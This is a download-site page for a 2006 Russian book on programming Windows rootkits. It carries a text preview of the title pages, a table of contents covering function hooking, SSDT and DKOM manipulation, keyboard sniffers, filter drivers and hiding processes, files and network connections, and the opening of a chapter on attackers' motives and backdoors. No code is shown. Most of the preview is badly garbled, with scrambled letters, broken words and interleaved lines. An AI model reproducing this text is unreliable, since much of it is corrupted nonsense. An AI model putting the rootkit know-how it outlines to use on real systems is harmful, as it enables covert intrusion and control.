Rootkits под Windows 5-94387-266-3

Колисниченко Д. Н. "Rootkits под Windows" СЕТЕВЫЕ ТЕХНОЛОГИИ, ПРОГРАММИНГ Название: Rootkits под Windows. Теор

255 49 32MB

Russian Pages 295 Year 2006

Report DMCA / Copyright

DOWNLOAD PDF FILE

Recommend Papers

Rootkits под Windows
 5-94387-266-3

  • 0 0 0
  • Like this paper and download? You can publish your own PDF file online for free in a few minutes! Sign Up
File loading please wait...
Citation preview

 ретык

J п о

д   W i n d o w s 

Теори

я   и   п р а кт и к

а   п р о гр а м м и р о в а н и

 я

"ша п о к­ н е в и ди м о к" п о зв о л я ю щ и данны е

,  х   с кр ы в а т

,  п р о ц е с с ы

,  с е т е в ы

ь   о т   с и с те м е   соединени

ы   я

в е сл т ь а д з и

о 

КНЧИЕС Л КО

О   Д .  Н . 

ROOTKITS  оп Т ЕО Р И

Я   И   Т П Р ИК А " Ш А П О ­К Н Е В И ДМ О "К П ОВЗ ЛЯ ЮЩ И

д   W I N D O W S 

А   П Р О ГР А М И Р О В А Н И ,  Х   РЫ ВАТ СК

АНДЫЕ

Ь   О Т   СИ ТЕМ ,  Я 

,  П Р О Ц Е С Ы Е   ИН Е С О Д

СЕТ ВЫ

К НА У

Я 

А   И  Т ЕХ АНИК

,  С А Т Н ­К П ЕТ Р Б РУ

2 0 0 6 

Ы 

 Г

о Кл и с н и ч е н о к Д

.  Н . 

Rootkits  оп имд "ок ,  пвоз ил щяю с ои ен д я

д   Windows.  ироеТ я   и   т к и а рп а   рам п ог иров ан х   ры в ск ат ь   о т   си т ем ы   адн ы е .  ­  бПС. : Нкуа а  и  Та кинхе , 2006. ­  320 с :  ли

я   "ша­пок нев и ,  п р о це с ы

,  сет в ы

­ е 



ISBN  5­94387­266­3  и реС

я  «Сте р ке

ы  мав тсре а

» 

и к туР т   ­  эт о   проагм м а   ли лв з о м а н о й  с и с те м ы . Н а  пмор лфат ит к у р ы  перхвыат ю т  сисетм ны и м  код м   и  да н ы м и .  Блоадрг в си т у е   в   с и ет м е   п о с тр н и е ч й   ер с т а   и  т .  .п ,  выуапст ш аип­к не в ид м и к .  О пи с а н н а  дан С л ущ ю е д и м о н ч иг с л е н ы иг .  ниг К и сп а т е и р н ст на т у з

ю  рныти ку я  кнаиг е   вл а г

х  техноли г . В  перво ы   о н за м к я е   п ри м е р

и   анб о

р   пр а о м г м   л д я   рсы к от г о   и я вт з я   п о д   о лр н т к  ь е  Windows сры ноктс ь  об еспчиваест я  те м , чт о  е  фци унк и  и  сурт к ы  даны х , подм еня я  и х  с в о ­ ­ я  эот й  помд ен , ри кут т  ме ож т  зам аиросвк т ь   при х   п ро ц е с о в ,  лайов ф ,  евыст х   с о е ди н е и й ,  л юк ­ я   и а тк м   о б ра з м   в  рол и   с в о е б р а н зо й   п роа гм м н о  й

й  и  праомг иров ани е  книг и  рас м оертн т   л е т а ич я   с   п ир н ц а м ы   о да к , ил уирющст и

ю  роит ку

й  гвла

а  расчнит а  н а  проагм м исот в  средн г ь   н а  C/C++  и  зомнак ы х   с  основам а  тж ак е   всем , кт о  хоче т  росабзьрт ь  болшь е  о  вномсязт ож х  е е  вл омз

о  ноелскь и   абр от е   л а рз ич н ы о  уоврн

в  как о  поупл няыр ы   а и т кур е   н ы ит к ур

я  потдгв л ен осит о   п роа гм м и ро в а н и я

и   с е вт о г я  в  особ ен яст

о  h  п   ­  \  1  '  У  ­7 ­> !• }  I 

й  сай ®  Д ­ Н ­ Кокнечи сл

I S B N  5 ­ 9 4 3 8 7 ­ 2 6 6 ­ 3  ©Наук

а  и  Ткинхе

з  и  посв ящ е х  роивт ку .  ивПренд е   е х тн о л





т  www.nit.com.ru  о  а  (оирнгал ­м еа)тк

­ .  ы  ­

, ум ещю и х  .  нО а   ебду  т ы  О С  Windows, 

х   абр от

а  и  защ ыит

н ы т а ко К е  тно леф ы   е а д л т и вз с ь (812) 567­60­25,  567­70­26  (044) 516­38­66,  559­27­40  аы л н и ц ь О ф

 ра

,  2006 

А Н Е РИС Ж О Д ГЛАВ

А  1.ВО Л З

М  СКЧОТ

1.1.  КТ

О  И  ЗАЧЕ

1.2.  ТЧ

О  ТО КА

1.3.  Ч Е

М  Н Е  ЯТСЯВЛЕ

И И Н ЗЕ Р

Я ЕР К Е  КР

М  ВАЫЛМЗВ Е

Т  ЗТИ АЩ

Е  РИ ТК У

А   У  

11  12 

Й  СРЫ Т К

Т  

14 

Й  КО ­Д Э Т

О   И Т К РУ

1.5.  АРПОТ­Н ЫНМРАОПГ

Т  

Е  ТИ ТК РУ

е  сер ф ин

я  

ы  

26 

1.6.1. Сам ы

е  пулыопняр

1.6.2. Общ и

е  пинрцп

1.6.3. Ри к ут

т  Hacker  Defender 

М  С  ТК Ч О

2 . 1 .  ТКИ РПОАЛФ

е  рит ку

ы  

ы  работ

И И Н  ЗЕ Р

22 

25 

Ы  

А  2.ВО Л З

ы  рит ку

26  а  

27  30 

Р О Т А Р Я Т МИНИС  АД

А  

33 

А  

34 

2.1.1. Садноиз

е  уночет

2.1.2. Уановскт

а  аивнтурс

2.1.3. Уановскт

а  барнмд ауэр

й  запис

и  об ы чног

о  повлезать

я  

35 

а  

36  а  

38 

Е  

43 

А  ОИНЕ Ж АБРНУ

а л н оЛ ы ьк ве ы т С 2.4. ДЕТОР КТЕ

я  аилтр е

24 

е  сер ф ин

1.6.  ЗНОА МЬК Т ЕС Ь ­ ИРТ УК

ы  ­ ела жя т

ы  

1.5.3. Клануыврит

2.3. СТВ Д ЕСР

22 

е   т и к ут р

1.5.2. Свеыт

2.2.  ИЧНЕЛ

18 

Ы  

1.5.1. Апанрот­армопг ны

ГЛАВ



Т   Я  РИ ТК У

1.4.  Н Е  ВИ СЯ К

 Е

Я  ТОИ ТК РУ

В  

е  сисетм

ы  оени б аурж

е  сисетм

Ы  ТОИ ТК РУ

ы  оени б наурж

44 

я  вени отрж

я  

я  вени ожрт

45 

я  

45 

В  

46 

Black Light  RootkitRevealer  П о л ны е з

е  ули т

48  49  ы  

http://www.invisiblethings.org  VICE: санке р  рныти ку х  техноли г ProcessGuard и  AntiHook: пиклт ораф

49  й   а  вени отрж

я  

52  53  55 



RootKits  Дл ГЛАВ

я  крим инал исотв

А  3.ПН Е М Д О

: EnCase и  Tripwire 

А  КА

3 . 1 .  НЕМ ОПД

А  Д КО

К  ОА Р Б

З Н З И  Ж

я  исходн г

ь  адрес

3.2.2. Перзапис

ь  само

Е  КО Д

А  РТ И ТК У

66 

и  

Й  ПС Е РОЦ

66 

С  

69 

69  й  Windows 

е  потк

70 

и  

73 

У  

74 

3.4.1. А  т а  л и  эт о  фция унк



76 

3.4.2. Кду



80 

а  ввоарзщ сяьат

Т   И  РИ ТК У

Т   РА Ю Г И

Т  ВСТЕМ

а   ит к у р

3.5.2. Запу с

Е  

84 

а  н а  уалдыне

к  рит ку

3.5.3. НТ

й  ком еюпьт

а  н а  уадл ено

И М А Ц И  ТЛ Б А

Ы  ПСОРЕ Ц

й  ри е ж



87 

И  

93  95 

м  

а щ З ищ е н ы

Ь  КОЛЕ

85 

А  

ы н л а еьР у а л тВ н ы и р ь и Реж

84 

е  

: чт о  эт о  тоеак

О  С МЫ Н М Е СТ С И Ы  РТОБА

р  

м  ком еюпьтр

А  (HTML­пенирл)ож

А  4. З ВТС МО КА Н

95 

й   и ре ж

м  

й  и реж

м   о  уарвпл ени

м  с ис ет м но г

96  96  97 

я  

Ц  

Д  В  ЗНЕЫ ИЩ А Щ

97  Й   И Р ЕЖ

Я   АЯП М Т

4.4.1.  Введни 4.4.2. Десрик п то 4 

й  функци

т  со б щ ени

3.5.1. Заругкз

4.4. И АЦЗИОНРГ

и  

ч  Applnit_DLLs 

Г  «Н А  ЛТЕ

3.5.  С ПЛЭОКЙ

4.3.  РХЕПО

63 

а  функци

А   В  ЧО Ж У

3.3.3. Улаынед

4.2.  ТСАЛВ

60 

Я  

3.2.1. Перзапис

3.3.2.  ехваПр

4 . 1 .  ИМ Р ЖЕ

а  

61 

Е  ПОЬЛВАЗТЕ

3.3.1. л ю К

ГЛАВ

о  код

г 

Т  Н А  УРОВН

3.4. Н ЧИТА П

59  60 

3.1.2. Пчиант

3.3. ИНРЕ ДВЕН

А  

А  

3.1.1.  аМциокдф

3.2. АВХ ЕР П

И ИТ К  РТ У

56 

М  

98 

И  В  ЗЕН О ИЩ А Щ

е  в  смег нут р  смег нт

М  МИ Р Ж Е

ю  оанргизц а  

Е  

99 

ю  пам ят

и  

99  101 

а н и С о д е рж 4.4.3. Тбалци

ы  дерсипкот

в  

а  GDT 

103 

баТ л ц и

а  LDT 

104 

я  аердсаци

4.4.5. Калт ог

я  

и  и  табл ци ы  даны х

у р т кС В ы ч ис л е н а пЗ и с

А  SSDT 

4.7.  ИНЧЕРАОГ

Е  ДОП СТУ

е  сратнич о о  аердс

а  

Й   (ЮТ

й  

107  107  108  110 

Е  

А  К  НОТРЫ КЕ

Е  ФИ Ц НК У



И  ЯР Д

М  ЫН ВАЖ

112 

М  ТА ЦБИЛ

и   е  досутп

4.8.3. Уаврпл ени

116 

а  к  флйа

е  пам ьят

4.8.4. Об еспч ни

м  

ю  

118  119 

е  б еозпасн т

и  

Й Е В Й А  ДР

114  115 

е  процес ам

М Ы В  ПЕР

М  

А  О С  

4.8.2.  Пеаордвстл ни

А  5. ПЕ Ш И

й  адресацие

114 

4.8.1.  аврплУени

ГЛАВ

ц  

В   Ы Р И В АЕ Н П

4.6. Р ТУ К СТРУ

105 

ы  сратни , уарпвл яющ и

е  физчеосгк и  PDE и  РТ

А  ДЕРТПИО СК

4.8.  ИШЙЕН ВАЖ

103 

б а л цТ и 4.4.4. Санричт

4.5. ТЦ ИЛБА

е 

119 

Р  

121 

5 . 1 .  DDK  (DRIVER DEVELOPMENT  KIT) 

123 

5.2. ФАЛЙ

124 

Ы  SOURCES И  MAKEFILE 

5.3.  СБОРК

А  ДРРВЕАЙ

5.4.  КА ОТАЛД

. УТИЛ

5.5. КЗ РАУГ

А  ДРРВЕАЙ

5.6. Т Е КА П 5.7.  МСХЕ

ГЛАВ

Ы  ЗРОАСП

А  DEBUGVIEW 

126  126 

А  А/В ОД ВЫ ОД

А  ДВРОВХЕНУГ

О  Т И КТ УР

Т  Н А Н В  УРО

А  

135 

А  

141 

Е Р  ЯД

Т  ПРЫЕ ВАИН

6.2. И Ц СКНИТРУ 6.3.  РЫ ТСИОК

125 

А  

А  6. ПЕРА В Х Е 6 . 1 . АВХ ЕР П

А  

Й  (ТЦ ИАБЛ

А   А  ЮТ

145  ) 

148 

Я  SYSENTER  Е  ПСЕОР Ц

6.3.1.  ащЗ ит

В   (ТЦ И ЛБА

а  табл ци

151  А  SSDT) 

ы  SSDT и  ри кут

152 

т  

153  5 

RootKits  6.3.2.  И з м е н е н и 6.4.  РЫ ТИСОК

е   SSDT 

Е  СИНЕ ОДЕ

Й   (ТЦ ИЛБА

6.5.  РВОЫЕНУГМ

А  7.  ПИЕШ

А  КЛА

7.4.  САИПЗ

Ь  ПЫН ХВАЧЕР

7.5.  СБОРК

А  СРЕФИН

7.6.  ЫВОТ Г

О  ИТА ЖА Н

Я  КЛА В И

Ы  

А  9. ТИ ЖРЕП

Ь  КЗ АРУГЕП

Р  СОСПБ

Л  

185 

Ы  

190 

В  

191  У  

203 

Й   КЗА РГ У

И  РТ И КТ У

А  

В  

207 

9 . 3 . 1 .  Flash­п а м я т

ь  

9.3.2.  Н е у д а ч н ы

1 0 . 1 . ТЫРНЕ КСЕ

.  Ч т

Т  ПТСЫ ВАЕИ П Р Е

ч   к  с е кр е т н о с т

10.2.2.  О т кр ы т и

М  

211  215  216 

10.1.2.  лК ю

10.2.1.  еД с к р и п т о



Ы  

о   м ы   соб ираем с

М   Н А  УРОНВЕ

о  д е л а ть

Я  С  Х ОЯЗ НИ

10.1.1.  Ч т

10.1.3.  С кр ы в а е 10.2.  И РПЕХ О Д

209 

й   э кс п е р и м е н т

Е  КААЛН

204  205 

О  О  BIOS 

А  10. РИ ТК У

180 

189 

В  АО СКЧАТЕВИОМ

Ы  Р­Е АФ ЛЙО

Ш  

183 

Ш  В  ФАЙ

Е  СРЕФИН

ВА Л Г



178 

А  

Е  ФАОЛЙ

ВА Л Г

177 

Ы  

Х   АВИ КЛ

А  8.  РЫ СТОИК

9.3.  ОНГМЕ

В Р НУТА

Я  КЛР АТУВИ

ВА Л Г

9.2.  ТРЕ КСЕ

173 

, ГЕ Щ Ю РОУИЛ ПТ К

Е  КЛЫРН АВТИУ

9 . 1 .  ОБЗ

172 

Ы  

О  А ОТ К П А  IP.P ЧИНТЕ

и  

а  

Р  КЛР УТА ИВ

К  ОЬЛЕОНГ ТД

7.3.  ОБРАТК

т   с  д р а й в е р а м

к   в ода/в ы в од

Я  ФЬЛТРИ

7.2.  С АЗУП

170 

к   Windows  р а б о т а е

М   С Н ИФ Е

7 . 1 .  ИСТРАГЦЕ

161 

Ы  

6.5.2.  IRP и  с т е ВА Л Г

А  IRP) 

Е  ДРРАВЙЕ

6 . 5 . 1 .  аК

156 

я   п е р е д а в а ть



216 

и   ­  с т е га н о гр а иф м   дан ы Ь  ЯРА Д

е   в  DNS­з а п р о с а . ИЙЕРТФН

х  

С  TDI 

р   тр а н с п о р тн о г е   ко н т е кс т

я  

220  222 

о   а дре с а   соединени

218 

а   я  

224  227 

10.2.3. Сывеазя

м  тын тоасрп

10.2.4. Соединя м с

й  аерд

Я  ПОЛ РТОК Е   К ЕТС

ГЛАВ

О  ТО КА

234 

А  

237  239 

Й  ПОЛ РОТК

А  

242 

А  

247 

Й И К РТ У Е  ГЫН БИРД

12.2.  И АРЗЦЕЛ

В ГЛА

О Р Е Ф  СИ Н

ы  

Е  

А  ФИ Ц НК У

А  12. ГИ Ы Н Д ИРБ 1 2 . 1 .  ТЧ

м  ресур

Е Г О В Е  СТ Е

А  В  ССИТМЕ

11.2.  ОФРИМ ВАИН

232 

й  осдавеоб ж

С  NDIS. С И НА Д ЗО

З  Т Е КА П

228 

и  

м  с о е ди н е н е

Й Е ФР ЕТ Н А  11. И

11.3.  АНИЛ

я  

230 

я  даны м

10.2.6. Заверш ае

1 1 . 1 .  И СТРАЦГ Е

т  соеидн

е 

я  

10.2.5. Об м енива м с

ГЛАВ

с  и  кс еконт

а н и С о д е рж

Т  

251 

Й  РТИ ТК У Я  РТИ ТК У



252 

А  

А  13. Т И ГО ЛО НХ Е

252 

Я  DKOM 

1 3 . 1 . СТЕВ Щ УМИРПЕ

А   И  НКТАСО Д Е

13.2.  ИНЕЛ ОРДПЕ

Е   Р С ВИ Е

259  И  DKOM 

И  WINDOWS 

13.2.1.  а оеПвлсктзь и  рим еж

13.2.3. Сиесмт ны

а  ярд й   ер с т

Е  ДРР ВЕАЙ Е  ПСЕОР Ц

В  С  ПЬ О М Щ

13.5.  РЫ ТИСОК

Е  ДРАРВОЙЕ

В  УСТРОЙ

13.6.  РПОМБЕЛ

Ы   С НХ И Р О А З Ц

13.7.  ЧИНЕОПУЛ

Е  ДООПТЛИНЬЕ Ы

р  

265  А   И  ПОЬЛ ГВЗАТЕСК

Ю

О   С Е Р О ПЦ

 DKOM 

266 

274  276 

н  прив л иег

Й  

279 

й   е  прив л ег

к  раб оте

А  

269 

В  

Х   И Г Р ВЕ Л П

13.7.2. Имз ен и

263  264 

И  

13.7.1. Те ко

13.7.4. Доб авл ени

я  GetVersionEx 

а  

А  УСТВОРЙ

13.4.  РЫ ТСИОК

13.7.3. Ка

263 

я  API­фци унк

13.2.2. Фу нц ки

13.3.  СЙЕТВИ АОЗМД

260 

279  й  

е   п ри в л я е м г е  SID в  теок

281  и  руиткР

н  

и  

285  290 



АВ Г Л

  1.  ОМ ЛЗВ

  С  ТИ ОЧ К

 ЗРЯЕНИ  

ЕРА ЕК КР

КТ

О  И  ЗЕЧА ТЧ

О  ТО КА

ЕЧ

М  Н Е  ЯС Т ЕЯ Л В Н Е  ВИ ЯСК

М  ВЫЕАВМЛ З Е  РИ КТ У

Т   А Щ З ИТ Т  Я  РИ К Т У

Й  СЫТР К

Т  Й  КО

Д  ­ ЭТ

­ОНТАРПЫНМ АР ГОРП СЕТ Ь МО КАН З

 У

Е  ТИ КТУР Ь  ­ ТИ КТ УР

R O O T K I T S 

Ы 

О  РИ КТ У

Т  Ы 

в а Гл

1.1. КТ

О  И  ЗЧЕА

М  ВЕЫАВМЛ З

а  1 .Влзо

Т  ЗАЩТИ

и  зре н и

я   ре к

, н а  корут а  з ащ иыт ь  н а  е е  вз лом я  ц ель

ю  н уж н о   п р ои а т , те м  боль ш е  вер . Ра з  челов к  тра . Чт о  ж е  и м  дви ж ет

и дО

н   и з   н аи б ол е е   расп н о т е ы х   им от в в   —  тэ о   влоз . Обы ч н о  эот т  мито в  движе т  керок м  в  смао м  н ач л ь ры е , кдго а  керк р  ещ е  учист я  и  исполь з уе т  взло м   ак к  свтсдер , чт о  вз ламы ват в ж р е н м т у до и я . Н а  эо т м  эпат е  ем у  все  рван о ме ис т у   и л и  серв р   Microsoft.  нвеГаол , чт о  сиемст а   е д бу т и  керк р  получи т  о т  эгот о  мораль н е  уневротилд—о н овс ю  з н ачимоьст ,  нча е т   в ери т ь   в  сво и   си лы .  оСрке е   го е в с еб р т  и мен о  вша у  суме тис , а  н е  серв р  Microsoft,  мопт у тма ь  е е  пщор е , а  н ачин ю щ и й   е рк р  пйоед т   п о  пут и   н аиме ь ш ег с о п р ит в л е н и я .  рат Б ь   «гнроа »  з а   вз ло м   о н   н ча е т   п оз ж е йеп р д т  н а  сюуделщ у ю  спунет ьк у  сгево о  раз в и т я . 

а м ол в з

• 

В от р а я и л р а е ь т н гм о (ком п ь ю тер хор ш у н и ч то ж и т

• 

,  н е   мен

е   расп ростан е н ая о   в е н о з и а г д яр ж )  ест ь   и н орфм ац и я о   з а п л а ти ь .  А   може ь   в аш у   м уе и с т

ь терТ

я  при ч н

лд

я  октобар в  вша

ма нча е уюСлед щ ая же о р та м и е рп о  деал лсЕ в з л ом а ще ны м др у г о

и  кекр

, крек ь   н уж ы .    п ри ч н

т   ув ол ен ы м . Эт д   о д ху е  врем

ол г д тЧ

у  суме тис

т   в ы п ол н т я и  п о  ег о  кмонаед

ил • 

а  вз лом и  дына

т  ке кр

а  ил

й  сме тис

а   ­  тэ о   получени ,  н а   ваш е м   серв ю   рк е у   п о б ещ ал у   в з лом а   тр е б у тс . 

.  Наиболе

е   ч аст

,  боы чн т  узяви мы е   п р о г а ми к

о  знюа ь   раз н ы

о   с и е мт н ы м

ь  в  сиемст е  взамол

р  вз ламы ве т  вша у  смеитс у  толь к в  суме тис , о н  н а  эот м  и  оанст овия е   рпа у   ра з   и  сопкируе т   к  сбе е  файл­рдугой , чт о   взло м   у да л с я ,  плсо е  чге о  зедбуа й   с и те м ы .  А   мож е т   б ы ть ,  ощ ути

? Эт о  рда

т   и м от

о  з ваис и  вз лома т  бы ьт

 сиемст ,  поз вюля щ и . 

ы   и  муго

т  о т  ег о  мивто

, то , сорек е  вгоес , о н  з айед т  в  симетс ,  бочт ы   д оа кз т ь   б е с е   боп д т   о  ва с   и  перлкю ч ист я   н а   ак т в   в л а с ть ,  о н   у с т п и т   соб лаз н

. Мжое

е   е и   я ы  ­  я и 

в  дви

и   а мд и н р с а т е   амест

о  пвриостуа е  плсо

о  эот

ь  ­ ­ ? 

м   дар и  е  ег о  ка ­ о  са ­ ь  — вша у    в з л ом ан а    ос з н ае  т , о н   вы ­  чт о  вз ло ­ о  ,  гдок а 

е  ресур о в  вшеа й  сметис я  ак а т и  дгури х  смеитс . В з ло т  н а  н е е  пумагро ,  ортак я   сраз у   ж е  посл е   ау нс т о в к

и  дл

у  дей свти

а   —  тэ о  мьтсе

и   р н у дс о т и а м к и  лю д и  олитчн м   уа сн т о в и я  н зенмат

р  в  вшае

,  п ри ч н .  В оз м ж н о ,  з а   октру т   б ы ьт ,  з ак з ч и к , удали в   вс е  дан ы е

а  — ивноиальзпс х  ккре р  уанст вли ае е  ем

а 

 У

В оз л м   ме ис т ы   —  тэ о  н е  очне ь  леагк я   зч а д ов д л ь н о  мнго о  времн и . И  че м  сьрезн е  смеитс н ем и  (и , воз мжн о , свресдт ) н ужн о  пирато ит т  вмеря , ден ь ги , з н чаит , у  нге о  етс ь  опредлн а во ка К ы  ег о  миотвы ?  • 

м  с  точ к

­

­  т е   и м  .  ,  у  ­ и  у  11 

RootKits 

в ан д ли з м а н и я   е св ыр е  буд

: зчохае

П рон и к ов ен и го т э лсЕ

и   ер к е  вгоес

у   н уж , о н  сопкируе св и ел ь т д а   вс гео бы л а   в з л ом ан .  аПврд н е   з н ая ,  т ч о   и мен п ир в тсе и   к  таик м  ж

еро кс

ь  с  смоеитс х   в ан л и д з

й   чт о  унгдо о  ­  вплот м   и п дох р т   с о  вмерн ь  смеитс ы  д о  сома й  сиарост

е   в  сиемст у   н ча и ю щ ге , н е  беспояк ь  ообс й   ра з  о н  н е  сему

о  н ужн о ы  в  слуеюд щ и

б о чт

т   ес лд а т .  У  ныротке ь  и  ун ичожта

х  дан ы х т  вз ламы ват

а   и он р м а ц ф и я

о   ер к ь  блоьш

, уедлит л   в л ом и ь т ся

а  легк е  вн и ман и

ь  д о  ун и чотж е , а  нотек . 

о  обн аруж иьт

­ ­

.  лсПо

е  , 

я   б ез оп асн и т



,  хранщя са

я   н а   шв а е м   мо п к ь ю ер т ,  от ,  я  «зтсмеа и  сыдел » — ун и чотж и ь  ,  бочт ы   в ы   н е   о дг а л и с ь ,  чт о   меист  а е   н е  обос о  квали цф рован ы е   еры к ,  т   л на е д у и ю ,  итсюар т   с в е   д п р яо ,  чт о   мжое  т , ка к  акат а  ван лд . 

т  е е  и  пстеаро о   п р и в с ту я ,  ыротнке о   п л еж од и е  пвосмлиетдя

лсЕ и  вз ломщ и к  з ахвит т  рсруе ны х ,  т о   прои з водиелть н ост ж ео м т  серь з н о  умен ь ш иьтся е кр р  мжое т   и  п о  з азк у   ш ва г е х  квоинлет в ть лс о н д е о  у  вша и of  Service,  и л и   акот з   в  обслуж и ван и ) с т е я   п р о у сн к а я   пс бо н т с т е а жд о р п я   гн м о о  лиш н и х  пвосцер В оз м ж н а   и   п о те р я   да н ы х п о н а дб и с т я   Reset. 

ы  вша е

й  смеитс

ы  дл я   н а   ол д

я  обкраот ю   в ша и

и   в си о х  дан ­ ,  прищхоядса х   п ри л ож ен и й ,  . Сн из т ь  прои з вделть н ост ь   вш а е й  симетс ы  о  конурект а   ­  н априме , с  ц леь ю   в ы з в ат ь  . Ти ка е  ака т и  нзаыювс т я  DOS­аамкт и  (Denial  .  бОы чн о   пр и   DOS­аатк е   ум ен ь ш а ­ ь   и тес ,  увелич всает я   н аг руз к а   н а   п роц ес ,  , чт о  вы з еав т  нк тавхе у   и т ямп а , и  т . п .  ,  есл и   дл я   п ри в ед н и я   с и ет м ы   «в   ч увсто » 

С  друго й  сорнты , вша и  рсруе ы  муго т  пон бадиьтс я   в з л ом щ и к у  дл я  обсе п че н и я  ан о и мн оист : с  вша е й  смеитс ы  и  о т  вша ге о  имен и  о н  беду т  вз ламы тва ь  други е  сиесмты . В  эот м  слчуа е  ва м   ортнке е   в рем я  н ичег о  н е  гзорит м о пт у  ч т о  керк у   н уж а   осп раб т н я   ис ме а т .  Наедю сь , в ы   псуте об н аруж и т ь  ег о  привстуе , пко а  н е  случиос ь   н еп о рав и м г о .  лсЕ п щ о р ь т ас

и  керок

1.2. ЧТ

м  дви ж е я  с о  своим

О  ТО КА

Е  РИ КТ У

бо т Ч ы   об есп ч и т в ы   в з л ом а и ,  ав м (backdoor). Н о  есл ге о  компь ю ет р   (и л н ы  л и  тиак е  уитл ы тва ь  суме тис . Зн ач и т 12 

ь  — знчаит . 

т  мтсе и  дан ы ми

, в  боль ш инвст

е  случаев

, может

­ ­ ,   е  рас

­

Т 

ь   б е с е   в оз м ж н ост   н уж о   ан уст ов и и  поль з овеалт ь  (амди н рсоат и   с ье т )  вз ломан , о , т о  еьтс , н е  плождреа , backdoor долже

ь   п орн в т ь   а т м   тил у н  н лнмед н  бы т

о   з ай т

и   в   у м е ти с

,  уротк

у   г о тык рс

р  си сетмы о   п ив ро е т т  л и  з лоумы ш лен и ь  «н евидомйк»

о   ин в е л а рп у ) з аподз рит ,  н е  уаснт овле к   и сп ол ь з о . 

ю  я  , чт о  ­ ­

в а Гл

В  Инерт п о рн ул я ы оч ат н с чик у н ц фк и й мн о з аб в ы Дл а м г р по н и ч ге

п о л ь з в е ла т и ка т чит об н аруж е и аж К д у н фцк и В жа н йе ш и ю щи ка о й ­ л и б р е с та ) тса Ч

м  с  точк

и  зре ни

я   ер к

а 

е  можн о   н ай т и  мн ожвест о  backdoor­уитл т   (н аз ову , к  пурием ,  е   NetBUS  и  Back  Orifice),  н о  боль ш ин вст о   и з  н и х   н е  умюе т  до ­ о   шор х о  сркы ват ь   в со е   п р и в с т у е .  К  том у   ж е   м н ог и е   раз б от ­ и  backdoor'oB сарют с я  добавит ь  в  сво и  пгмоар ы   ак к  можн о  блоьш  е , з ачуст ю   н еп о т я о  зчае м   н уж ы х .  уН , н апри ме ,  з аче м   серь з ­ у   ер к у   у н ф кц и я   ид ан ст ц и он г о   р о кы т и я   л о кт а   CD­ROM?  дРа и  ?  Да ,  можн о   п ш до и ту ь   на д  колегам и   н а   е раб от ,  н о   н е  боле е   го т .  я   е с п и р о фн а л ь о й   ка т и   а в м   н жу а   п е с р ио ф н а л ь н а я   п рог ам а   —  ,  ортак я   в ы п ол н е я т   о л ть к о   н д о у   у н ф цк и ю   и  боль ш е   н е   е лд а  т о  ли ш н его . Пмон иет , че м  пщор е  смаеитс , те м  он а  н аеджн . 

и лт У а   р ыс к о г т ч и сл е  дл я   ан итв русн ы и т я   в и т с у и рп (rootkit).  ин м р е Т

а  1 .Влзо

о  управлен и

я   м по ь к ю р е т х  свтсдер

я   в   м е ти с

у  «rootkit» ус л е  бело ь   с  н аивы сш им м   бозар м ,  rootkit ­  тэ ь   п олн ы й   ко н т р о л ь   на . 

м   до л ж н , нечыаз дпр о   ак од

. Свтас дер е   н г о е р т сп е  дт ясе и   п ол н м ч и я о   н ба о д   в з лом ан о

и  лте

,  ст ывюзан

р   п мг ао р

а   в  сватсо е  риукт а  вы полне я е   о т   backdoor­прогам м   ю л г об о   и рк у т е   п р ви с т у е   в   меис т е   вж тре ы   нор п тс ге о   backdoor­п рог ам ы ) ,  дан ы , пцорсе в  и  т . п .  е   н е л аы д у е   п а е к от е   и к тр у

т  свои ,  в   орытк а   в я л ю тс х   (фай л о в

, ч ект о   оп редл н ы х   м н го о   н е уж н ог я   п рог ам ы ,  рыск ва о   док а   (н ап ри ме ,  до к ,  кат л ог в ,  лкю ч е

й   у тсо д п  к   пмьоюк­урет втжре в   в   с е ит ,  такж е   в х о дя о   в  сватсо а   у дб т  сватсдер ,  «приык ваю щ ие  ц елом : файл ы   и  клагоит , корты е  в ы  уакж ет   н е  огран ич ваю ст я   ы т с по р м   ры сок и т е м   а йф л о т   м ож е т   ср кы в а т ь   л юк ч и   ра е ст ,  сетвы ,  т о   тсе ь  делат   есв , чбот ы   а дм и н с р т а о о  привстуе . 

Я   н е   уч о х ,  бочт ы   у   ав с   с л о ж и ч т о   и р ку т ы   и сп ол ь з ую с т я   о лт ь к Р у и кт т   ­  эт о   всег о   ли ш ь   те х н о л г и я «плохие» ,  ат к   и   «хшор и»е .  мпонКет н е  олти ч аю ст я  о т  благоприйстн ы сл уж а т  дл я  удален ог о  доуспт а  в

ь   в п еч л н ат и о   дл я   сов ерш н и ,  котру х   п гор ма  сиемуст

а   в  то м  е  дл я  скоыр ­ я   м а тк и у р и 

л  и з  мир а  Unix, гд е  root ­  тэ о  ; kit ­  тэ о  н або р   и н рс ут м е о в ,  ,  поз вюля щ и х   ер к у   п ол у ­ й   с и ет м о й   и   п р е д о тв р а ти ь   сво е 

,  в   лоитч м   ом п к н е т

, оюачивепсщб и   п рослуш и в ан и

ь   н ев и д м

. О н  пишр е

я  пгорма

о  ы м а р г о п (backdoor)  и л ри у к т а .  Озбяаетль н све ь  рикут т  в цки и  рикту а хор ш и й   р у и кт рда й в е ы   ру ос йт в бо н жура и л  ег

а   бы т

е  .  ­  а й 

е  в  »  о  фун ­ :  ,  ы   н е 

т   в   с о ат . Обы ч н в   и  проц есв е   с о е ди н е и я р   си ем т

,  чт о   риукт т   ­  тэ о   плох ,  я   н е з ао кн ы х   де й с в т и .  ю   м ог у т   и сп оль з ов ат ь   ка  к ы   и рк у т а   п о   у н ф цк и о н а л ь н о с т и  : ssh и  telnet,  ак к  и  backdoor,  ; сн еирф ы   (сетв ы е   м о н и то р ы )  13 

RootKits 

ч тса

о  и споль з ую ст и   дл я   а н л и з

ма т

я   ве ы т с м а   о пв е т а к ь   и х  даж е  дл

и сп ол ь з в ат Р и ку т н ав л и ю р с у он д т и в к м по ь к ю р е т

ы   в   с в о б е нт т   н а   раб оч и ,  а  з ап нд ы ы   п оз д рев а м ы

1.3.  ЕЧ

М  Н Е  ЯСТЯЕ ЛВ

ер П н ит

д  тме ь  себ

и  амдин оратс и   и  свеыт м и   п рог ам и с ,  мыевадпр х   п о   и тес .  мАдин оратс я  бьрбо ы  с  кмареик !  м   см ы л е   ыро н т ке е   о р кп а ц и и   сп ец и ал ь н е   ан ст ц и и   евос й   и тес ,  бочт ы   о кн р т л и о в а т е   п рав о х н и ел ь т ы е   гн ра о ы   и   сп ец л уж б х   в  пурпестлн хия . 

Я  РИ КТ У

, ка к  при успт , че м  о н  н е  явлеятс и   в он ред с ы

м и  вмиад

у   о  тмо , чт о  тоак е  рикту м  о  сватсдох х  рикоут м  и  олти ч я х  о т  них . 

